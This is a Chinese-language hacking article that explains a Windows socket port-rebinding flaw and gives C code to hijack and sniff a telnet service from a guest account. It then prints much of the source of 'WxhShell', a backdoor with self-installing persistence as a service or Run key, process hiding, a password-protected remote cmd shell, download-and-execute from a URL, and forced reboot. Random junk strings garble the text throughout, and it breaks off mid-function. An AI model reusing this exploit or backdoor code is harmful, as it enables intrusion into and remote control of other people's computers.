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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: }h>QkV,{2 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); }_Jr[iaB 36e!je saddr.sin_family = AF_INET; #"=_GA^.{ "^yTH/m saddr.sin_addr.s_addr = htonl(INADDR_ANY); g*TAaUs|n ?u"MsnCXYn bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 9PIm/10pP^ 8NWvi%g 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 pl%3RVpoc x)h5W+$ 这意味着什么?意味着可以进行如下的攻击: #O*
ytZ 3w#kvtDVm 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 +-1t]`9k4 #toKT_ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 1
@tVfn} Y[#i(5w 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 H0_hQ:K eo4;?z 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 9=89)TrY /w$<0hH#'8 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 y7txIe!<5
Q47Rriw 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 +v{<< @;!s"!~sv 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 "JT R5;`w ggIz)</ #include E80C0Q+V #include +h.$<= #include fE8/tx]( #include {=VauF DWORD WINAPI ClientThread(LPVOID lpParam); :%~+&qS int main() -$!`8[fM { ayTEQS WORD wVersionRequested; R&PQU/t) DWORD ret; 4Bsx[~ u& WSADATA wsaData; 8xW_N"P.> BOOL val; B0T[[%~3M SOCKADDR_IN saddr; :$lx] SOCKADDR_IN scaddr; )<nr;n int err; !c(B c^ SOCKET s;
3V>2N)3`A SOCKET sc; 1-!u=]JDE int caddsize; aOFF"(]Cl HANDLE mt; LxC*{t/>8 DWORD tid; E`}KVi57 wVersionRequested = MAKEWORD( 2, 2 ); #XE`8$
err = WSAStartup( wVersionRequested, &wsaData ); /:iO:g1 if ( err != 0 ) {
QK)"-y}"g printf("error!WSAStartup failed!\n"); ZaBGkDX5 return -1; 3iMh)YH5b } sg RY`U.C saddr.sin_family = AF_INET; ZnVi.s~1V
I4.^I/c( //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 X`YA JG B[w~bW|K saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); zc%#7"FM saddr.sin_port = htons(23); &W)Lzpx8c if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 96x0'IsaG { apPn>\O printf("error!socket failed!\n"); [Dni>2@0 return -1; u2,V34b- } maW,YOyRN val = TRUE; R]L|&{ //SO_REUSEADDR选项就是可以实现端口重绑定的 `Hld#+R if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) O RAKg.49 { of!Bz printf("error!setsockopt failed!\n"); SO^:6GuJ return -1; o*& D; } ^kA^>vi //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 1'@/jR //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 tEh YQZ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ppH5>Y
6c 8(J&_7u if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) \x\_I1| {
*(5y;1KU ret=GetLastError(); !B_i~Rmg printf("error!bind failed!\n"); ,R_ KLd return -1; xFvDKW)_X7 } x2/L`q"M?= listen(s,2); ?4vf2n@ while(1) d#6'dKV$ { UT!gAU caddsize = sizeof(scaddr); 5RD\XgyN] //接受连接请求 $Kw)BnV sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); R1 u1 if(sc!=INVALID_SOCKET) ". #=_/op { kW=g:m mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); QhUv(]0 if(mt==NULL) 6Tjj++b(* { t4>%<'>e printf("Thread Creat Failed!\n"); A82Bn|J break; DA;,)A&=Q } "5Orj*{ } %v
0 I;t CloseHandle(mt); 6B>1"h%Wf } -?{bCq closesocket(s); szW_cjS WSACleanup(); b /65Q&g' return 0; (T+fO}0 } wn2+4> |~p DWORD WINAPI ClientThread(LPVOID lpParam) xrb %-vT { Rrh?0qWs SOCKET ss = (SOCKET)lpParam; F/GfEMSE SOCKET sc; =8FV&|fP unsigned char buf[4096]; "|<6bA SOCKADDR_IN saddr; X-,scm long num; 3{OY& DWORD val; H6i4>U* DWORD ret; itV@U //如果是隐藏端口应用的话,可以在此处加一些判断 jzCSxuZ7O //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 2
|lm'Hf saddr.sin_family = AF_INET; U,Py+c6 saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Teq1VK3Hr saddr.sin_port = htons(23); CFdR4vuEI if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) a![x^@nF { uSSnr#i^j printf("error!socket failed!\n"); *0ZL@Kw return -1; `+17x<N } )/FB73! val = 100; <VD^f if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3ThCY` { %V-\ |cw ret = GetLastError(); ?c)PBJ+] return -1; UeB8|z } m#SDB6l
if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) sGIY\% { }^uUw& ret = GetLastError(); =jvM$ return -1; uG2(NwOL } j:D@X=| if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) <VV./W8e9 { 9"_JiX~3 printf("error!socket connect failed!\n"); P;[5#-e closesocket(sc); %+oWW5q7 closesocket(ss); zmkqqiDp_ return -1; [\CQ_qs| } 6U;pYWht while(1) Bb[%?~
E! { Izq]nR //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 {<~0nLyJS //如果是嗅探内容的话,可以再此处进行内容分析和记录 n k]tq3.[ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 evf){XhT;n num = recv(ss,buf,4096,0); <mlQn?u if(num>0) C5QPt send(sc,buf,num,0); N#{d_v^H?d else if(num==0) r{qM!(T break; @O+yxGA num = recv(sc,buf,4096,0); \7Hzj0hSi if(num>0) DQW^;Ls send(ss,buf,num,0); ,c"_X8Fkx$ else if(num==0) =O~1L m; break; Hno@ } f9H;e(D9] closesocket(ss); jEfrxlj closesocket(sc); Z!=/[,b return 0 ;
VVeO>j d } LNml[" [oOZ6\?HB \~:Kp
Kq ========================================================== `),7*gn*) fV*x2g7w 下边附上一个代码,,WXhSHELL e:{v.C0ez b_-ESs]g ========================================================== *A2J[,?c !%J;dOcU #include "stdafx.h" @& #df CF9a~^+% #include <stdio.h> ,GXwi|Y #include <string.h> u7G@VZ Ux5 #include <windows.h> t
),~w,7(J #include <winsock2.h> yXS ~PG #include <winsvc.h> HZCEr6}( #include <urlmon.h> dgpo4'c} CyO2Z
#pragma comment (lib, "Ws2_32.lib") Da1BxbDeI #pragma comment (lib, "urlmon.lib") m8$6FN 1g9Qvz3 #define MAX_USER 100 // 最大客户端连接数 1"A1bK #define BUF_SOCK 200 // sock buffer aq~hl7MTj #define KEY_BUFF 255 // 输入 buffer NUiZ!& K"VphKvR #define REBOOT 0 // 重启 @gENv~m<OI #define SHUTDOWN 1 // 关机 4>>{}c!nf *c7kB}/ #define DEF_PORT 5000 // 监听端口 "C.'_H!Ex >8Zz<S&z #define REG_LEN 16 // 注册表键长度 G& cm5 #define SVC_LEN 80 // NT服务名长度 5+rYk|*D+k TYWajcch // 从dll定义API N72z5[.. typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ^ $Q', typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 'x<gC"0A typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); x68J [; jm typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); o,9E~Q '`{ " jn@S- // wxhshell配置信息 0vmMNF struct WSCFG { y/mxdPw int ws_port; // 监听端口 2/=CrK char ws_passstr[REG_LEN]; // 口令 vi@a87w> int ws_autoins; // 安装标记, 1=yes 0=no U`K5 DZ~ char ws_regname[REG_LEN]; // 注册表键名 ,=B
"%=S char ws_svcname[REG_LEN]; // 服务名 l*uNi47| char ws_svcdisp[SVC_LEN]; // 服务显示名 <8 Nh dCO6 char ws_svcdesc[SVC_LEN]; // 服务描述信息 )XMSQ ="m char ws_passmsg[SVC_LEN]; // 密码输入提示信息 78#j e=MDg int ws_downexe; // 下载执行标记, 1=yes 0=no pD##lkJr char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" w;0NtV| char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |!8[Vg^Wh J6Hw05%0= }; &|iFhf[o ':!w%& \ // default Wxhshell configuration 8wwqV{O7 struct WSCFG wscfg={DEF_PORT, f%ZqK_CW "xuhuanlingzhe", )+wBS3BC 1, Xw`vf7z* "Wxhshell", Ge@./SGT "Wxhshell", \MsAdYR
"WxhShell Service", P.3j |)NW "Wrsky Windows CmdShell Service", WG NuB9R "Please Input Your Password: ", ~Lhq7;=H?O 1, Y4){{bEp " http://www.wrsky.com/wxhshell.exe", 2al%J% "Wxhshell.exe" -LzHCO/7( }; ,IA0n79 _xI'p6C // 消息定义模块 yX$I<L<Suz char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; LH"MJWOJ char *msg_ws_prompt="\n\r? for help\n\r#>"; ;i^p6b j char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; b(_PCVC char *msg_ws_ext="\n\rExit."; %h g=@7,| char *msg_ws_end="\n\rQuit."; 8;P8CKe
char *msg_ws_boot="\n\rReboot..."; Q mOG2 char *msg_ws_poff="\n\rShutdown..."; iUi{)xa2 char *msg_ws_down="\n\rSave to "; m 8rKH\FD} L^KGY<hp4 char *msg_ws_err="\n\rErr!"; Kw3fpNd char *msg_ws_ok="\n\rOK!"; =2s5>Oz+ Op,Ce4A char ExeFile[MAX_PATH]; "V&2g? int nUser = 0; lzBy;i HANDLE handles[MAX_USER]; pB@8b$8(Z int OsIsNt; W*QD' -?!|W-}@G= SERVICE_STATUS serviceStatus; p \; * : SERVICE_STATUS_HANDLE hServiceStatusHandle; bEV
9l zawU // 函数声明 C.C)&&|X int Install(void); bESmKe( int Uninstall(void); -TU7GCb= int DownloadFile(char *sURL, SOCKET wsh); @BbZ(cZ* int Boot(int flag); o\@1\#a void HideProc(void); 'jZ2^ int GetOsVer(void); Kf76./ int Wxhshell(SOCKET wsl); B~cq T/\? void TalkWithClient(void *cs); FAjO-T4( int CmdShell(SOCKET sock); U
u(ysN4` int StartFromService(void); GfUIF]X int StartWxhshell(LPSTR lpCmdLine); b=9(gZ 9 W,`u5gbT VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); P!,\V\TY] VOID WINAPI NTServiceHandler( DWORD fdwControl ); ge`)sB, -g]/Ko]2@$ // 数据结构和表定义 nSz Fs(]f SERVICE_TABLE_ENTRY DispatchTable[] = >MUwT$szs { /R8>f {wscfg.ws_svcname, NTServiceMain}, " 6~pTHT {NULL, NULL} kWF4k }; W:aAe%S yv9~ // 自我安装 ibl^A= int Install(void) HPCzh { V-}d-Y char svExeFile[MAX_PATH]; i6kW"5t HKEY key; MnO,Cd6{%d strcpy(svExeFile,ExeFile); F4k<YU N;F1Z-9 // 如果是win9x系统,修改注册表设为自启动 +>.plvZhu if(!OsIsNt) { ^v}Z5,aN if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { WnLgpt2G RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); f/Grem RegCloseKey(key); '# "Z$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .hg<\-:_ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); DvG. G+mo# RegCloseKey(key); ]"dZE2! return 0; Q0gO1T } pCb@4nb } blid* @- } hAOXOj1 else { teUCK(;23 "]LNw=S // 如果是NT以上系统,安装为系统服务 90k|W> SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 2
L%d,Ta> if (schSCManager!=0) A~ '2ki5$g { ?fXg_?+{'g SC_HANDLE schService = CreateService $sU?VA'h ( nOkX:5 schSCManager, zr&K0a{hc wscfg.ws_svcname, L-Xd3RCD wscfg.ws_svcdisp, Fz?ON1\ SERVICE_ALL_ACCESS, 7_S+/2}U* SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $P^=QN5Bb SERVICE_AUTO_START, Xr:"8FT SERVICE_ERROR_NORMAL, eoR@5OA& svExeFile, mZ/?uPIa NULL, ,'Y*e[ NULL, 6"|PJ_@P NULL, |E53
[:p NULL, 6aM`qz) NULL 8hQ"rrj+ ); #Q^mdv? if (schService!=0) dDi 1{s { PP. k>zsx CloseServiceHandle(schService); w6Dysg: CloseServiceHandle(schSCManager); [^"e~ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); y@~.b^?_u strcat(svExeFile,wscfg.ws_svcname); `y;&M8. if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { z:+Xs!S RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;)83tx
/ RegCloseKey(key); 3Nr8H.u&q return 0; k|BY 7C } Xvi{A]V } 5`^"<wNI CloseServiceHandle(schSCManager); ,$}P<WZMu } \z:p"eua z } m]Z+u e &'WgBjP return 1; -hQ=0h~\B. } 7vNS@[8 ^dZ,Itho // 自我卸载 g|"z'_ int Uninstall(void) ) OZDq]mV { HjGT{o HKEY key; A7VF
>{L./ ^P"t
" if(!OsIsNt) { a+A/l if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { d;D^<-[i RegDeleteValue(key,wscfg.ws_regname); A01PEVd@A RegCloseKey(key); #f@}$@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { % oJH 6F RegDeleteValue(key,wscfg.ws_regname); ]TVc 'G; RegCloseKey(key); _1G;!eO return 0; G5hf m- } f cnv[B..{ } jr(|-!RVMN } KwNOB _ else { 0SR[)ma & LhQr-g SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %mAwK<MY` if (schSCManager!=0) bgeJVI { MFn\[J`Ra SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); qnFg7X>C, if (schService!=0) c+{ ar^)* { W2{4s
1 if(DeleteService(schService)!=0) { .On3ZN CloseServiceHandle(schService); h<G7ocu ! CloseServiceHandle(schSCManager); ; GEr8_7 return 0; s14D(:t( } Vkfc&+ CloseServiceHandle(schService); OP|X- } ,]tEh:QC CloseServiceHandle(schSCManager); ;o158H$gz; } [>LO'}% } &r+!rL Kp *4/KK return 1; dTWcn7C } ]?T,J+S YpgO]\/w // 从指定url下载文件 E~c>j<'-"< int DownloadFile(char *sURL, SOCKET wsh) G<P/COI#M5 { [0D.+("EW HRESULT hr; q'9; char seps[]= "/"; YJ+l
\Wb} char *token; 7+Er}y> char *file; F. I\?b char myURL[MAX_PATH]; EMPujik- char myFILE[MAX_PATH]; 9"?;H%. ~l('ly strcpy(myURL,sURL); ~7gFddi=i token=strtok(myURL,seps); X4L@|"ZI while(token!=NULL) \0K&2' { M< H+$}[ file=token; tr58J%Mu token=strtok(NULL,seps); m=TZfa^r } F$ckW'V NtmmPJ|5 GetCurrentDirectory(MAX_PATH,myFILE); qOAP_\@T strcat(myFILE, "\\"); =QIu3%& strcat(myFILE, file); *x_e] /} send(wsh,myFILE,strlen(myFILE),0); )X3
|[4R send(wsh,"...",3,0); V@+X4`T hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); h1y3gl[;TD if(hr==S_OK) e5D\m g) return 0; Wngc(+6O& else _q4Yq'dI return 1; Fr-Vq=j& H
vHy{S4 } ]F"P3': He%v 4S // 系统电源模块 >3,}^`l int Boot(int flag) pd|l&xvka { - _~\d+>w HANDLE hToken; /i
TOKEN_PRIVILEGES tkp; kkJ8xyO PzT@q\O if(OsIsNt) { --k!KrL OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :Dfl ,=S LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); x_9#:_S' tkp.PrivilegeCount = 1; lt yhYPS tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; s)Xz}QPK. AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); g][n1$% if(flag==REBOOT) { qC-4X"y+ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) {L
\TO, return 0; 4&%E?_M } 36Lf8~d4"h else { W.59Al' if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 8g=];@z return 0; cG (%P$ } zcuz @ } Ffd4c else { w]fVELU if(flag==REBOOT) { % .wx]:o if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) )LNKJe+ return 0; P`S'F_IN } |[p]])
o else { P
F);KQ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [ {HTGz@( return 0; ;Aheeq746 } \mZB*k)+ } lk`|u$KPz )` S5>[6 return 1; VF +g+~ } UG vUU<N|N ,Xg^rV~] // win9x进程隐藏模块 (,|eE)+ void HideProc(void) Bc`L]< { YDZB$?&a c[;A$P=
8. HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); HG)$W if ( hKernel != NULL ) 'Hgk$Im+ { /`t}5U>S_ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0X$2~jV> ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); a/3yn9`sQ FreeLibrary(hKernel); "yl6WG#J } >jnx2$ :;IZ|hU return; lanU)+U. } I}|E_U1Qj }2^qM^,0 // 获取操作系统版本 We*uZ?+ int GetOsVer(void) $@w,9J\ { NBAOVYK OSVERSIONINFO winfo; zn0%%x+!g winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); oTr,zRL GetVersionEx(&winfo); e.Q'l/g if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ;iQw2XhT return 1; s2F[v:|Wq else /XNC^!z6Js return 0; -S&d5(R } Zqv yTNHM_P // 客户端句柄模块 B,` `2\B int Wxhshell(SOCKET wsl) N7GZ'-t^Er { HdTB[( SOCKET wsh; b8[
ayy struct sockaddr_in client; sxdDI?W4 DWORD myID; ma/<#l^} r=xec@R]* while(nUser<MAX_USER) ys:F { )`2ncb
int nSize=sizeof(client); -
^Y\'y2 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); :G=ol2Q if(wsh==INVALID_SOCKET) return 1; e&K7n@ r1z+yx handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); m:k;?p:x if(handles[nUser]==0) *g9VI;X closesocket(wsh); R:+?<U& else 32pPeYxB!- nUser++; bx Wzm| } K.Cx 9 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 1\AcceJ|(w _`Y%Y6O1/ return 0; 1c*:"
k } twt's,dO WpMm%G~'4t // 关闭 socket '5A&c( void CloseIt(SOCKET wsh) _bv9/# tR { z uo:yaO closesocket(wsh); B`vC> nUser--; !Q}Bz*Y ExitThread(0); P%d3fFzK } WDr=+=Zj {cjp8W8hS // 客户端请求句柄 &o&}5Aba9 void TalkWithClient(void *cs) J<9})
m { #%/Jr 52< mi@uX@ # SOCKET wsh=(SOCKET)cs; iszVM char pwd[SVC_LEN]; hVCxwTg^X char cmd[KEY_BUFF]; e?\hz\^ char chr[1]; mZ0_^ int i,j; 8M]QDgd. }0>\%C while (nUser < MAX_USER) { ty@D3l {@'#|]4y. if(wscfg.ws_passstr) { R <&U]%FD if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g3 !<A*< //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]6MXG% //ZeroMemory(pwd,KEY_BUFF); DZ:$p. i=0; +S1h~@c:B while(i<SVC_LEN) { 3GMrdG?Y 76u\#{5 // 设置超时 Z4{N|h? fd_set FdRead; oHF,k struct timeval TimeOut; fF5\\_, FD_ZERO(&FdRead); "y ;0}9]n1 FD_SET(wsh,&FdRead); jS|jPk|I. TimeOut.tv_sec=8; KB{/L5 TimeOut.tv_usec=0; fAR6 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }{[p<pU$C if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <AHdz/N vCtnjWGX}/ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \.F|c pwd =chr[0]; ;Wn0-`_1, if(chr[0]==0xd || chr[0]==0xa) { "rrE_ pwd=0; Zlv`yC*r break; :Yi 4Ia } "msPH<D i++; w-Q=oEt } R78P](1\> !OOOc // 如果是非法用户,关闭 socket /~g.j1 g if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); d:hX3 } +('=RyoT J|8 u send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); JK'tdvs~ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D&6.> wt
. #* 8^ar< while(1) { kcP&'' .|y{1?f_ ZeroMemory(cmd,KEY_BUFF); /f>I;z1 NRs%q}lX // 自动支持客户端 telnet标准 SPINV. j=0; cdg&) while(j<KEY_BUFF) { b\xse2# if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b^<7@tY cmd[j]=chr[0]; J& D0,cuk if(chr[0]==0xa || chr[0]==0xd) { j^Ln\N]^ cmd[j]=0; iUS?xKN$~- break; \~T&C5 }
G%%5lw!y' j++; c}2"X, } )2F%^<gZ# hM8FN // 下载文件 HZ89x|Hk_ if(strstr(cmd,"http://")) { ?u{D-by%& send(wsh,msg_ws_down,strlen(msg_ws_down),0); f%%'M.is if(DownloadFile(cmd,wsh)) D)eRk0iC send(wsh,msg_ws_err,strlen(msg_ws_err),0); #
tU@\H5kN else De49!{\a send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FuP~_ E~ } sb%l N else { ka:wD?>1i _!o0bYD switch(cmd[0]) { e?e oy| gv,%5r0YOw // 帮助 2K2*UC`f case '?': { s~I#K[[5 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); VWMr\]g break; }G<A$*L1 } :(4];Va // 安装 i6k~j%0m case 'i': { o H]FT{ if(Install()) nyPW6VQ0n send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^>h2.AJ else B(pHo&ox
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U> {CG+X break; 31mlnDif } D!bi>]Yd // 卸载 <-!'V,c case 'r': { )umW-A if(Uninstall()) h6e,w$IL send(wsh,msg_ws_err,strlen(msg_ws_err),0);
:a M@"#F else nY?X@avo> send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dg;E,'e_
p break; P~@I`r567 } 'WoB\y569 // 显示 wxhshell 所在路径 P1"g62R case 'p': { 9~}8?kPNw= char svExeFile[MAX_PATH]; _;k))K^ strcpy(svExeFile,"\n\r"); iBqIV strcat(svExeFile,ExeFile); /gE9 W send(wsh,svExeFile,strlen(svExeFile),0); w1t0X{ break; Cta!"=\ } =5M
'+> // 重启 1i$OcN?x% case 'b': { TK#-;p_ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Oz.Zxw if(Boot(REBOOT)) \LDcIK= send(wsh,msg_ws_err,strlen(msg_ws_err),0); W u693< else { )H1chNI) closesocket(wsh); eRIdN(pP ExitThread(0); O9)k)A]`O } *9}~?#b break; Ky'\t7p u } 1)!]zV // 关机 GoG_4:^#h case 'd': { L9 H.DNA send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _2Fa.gi if(Boot(SHUTDOWN)) f2{qj5 K send(wsh,msg_ws_err,strlen(msg_ws_err),0); #pX +~{ else { 'Ie!%k ^ closesocket(wsh); M,N(be- ExitThread(0); qAuq2pHA+d } v5`Odbc=w break; Tq5F'@e } Q9
RCN<! // 获取shell c]:@y"W5$ case 's': { IeJ@G) CmdShell(wsh); "C [uz& closesocket(wsh); CV6W)B%Se ExitThread(0); >Y&o2zJy break; Re'Ek } '>|5 // 退出 c# WIB 4 case 'x': { )hK1W\5 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 4(\7Or('' CloseIt(wsh); ?[
vC?P
break; w3peG^4D_ } 2N_9S?a3sK // 离开 ^ px)W,O case 'q': { `H\NJ, send(wsh,msg_ws_end,strlen(msg_ws_end),0); \fD[Ej closesocket(wsh); r#K" d WSACleanup(); 58_aI?~>> exit(1); {,i='!WIm break; 2v\-xg%1 } SQx:`{O } 7j%sM& } MYeGr3V3 c9;oB|8| // 提示信息 gc{5/U9H* if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Dv+:d 4|" } `z3"zso } BcD%`vGJ e\>g@xE% return; 2E}^'o } =;HmU.Uek% +v'n[xa1v // shell模块句柄 78<QNlKn int CmdShell(SOCKET sock) ;V3d"@R, { `o!a
RX STARTUPINFO si; +)K yG ZeroMemory(&si,sizeof(si)); {v}jV{'^um si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; EAjo>GLI si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; jRIm_) PROCESS_INFORMATION ProcessInfo; p h=[|P) char cmdline[]="cmd"; ;^:$O6J7T~ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); hk1jxnQh return 0; Mt`XHXTp } #n}n
% H[8P]"*z*i // 自身启动模式 o M#S.f? int StartFromService(void) 1_.#'U> { MOW {g\{\ typedef struct wH[}@ w { - dt<w;>W DWORD ExitStatus; oJTsrc_- DWORD PebBaseAddress; Q CB~x2C DWORD AffinityMask; ~j2=hkS
DWORD BasePriority; H@WQO]PA ULONG UniqueProcessId; QabYkL5@ ULONG InheritedFromUniqueProcessId; abM4G } PROCESS_BASIC_INFORMATION; L #l|}u
? /Z
hu PROCNTQSIP NtQueryInformationProcess; 4\yKd8I 1)m&6:!b static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; C\dlQQ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; MhpR^VM'. <=,KP) HANDLE hProcess; >h
m<$3 PROCESS_BASIC_INFORMATION pbi; 1"CbuV
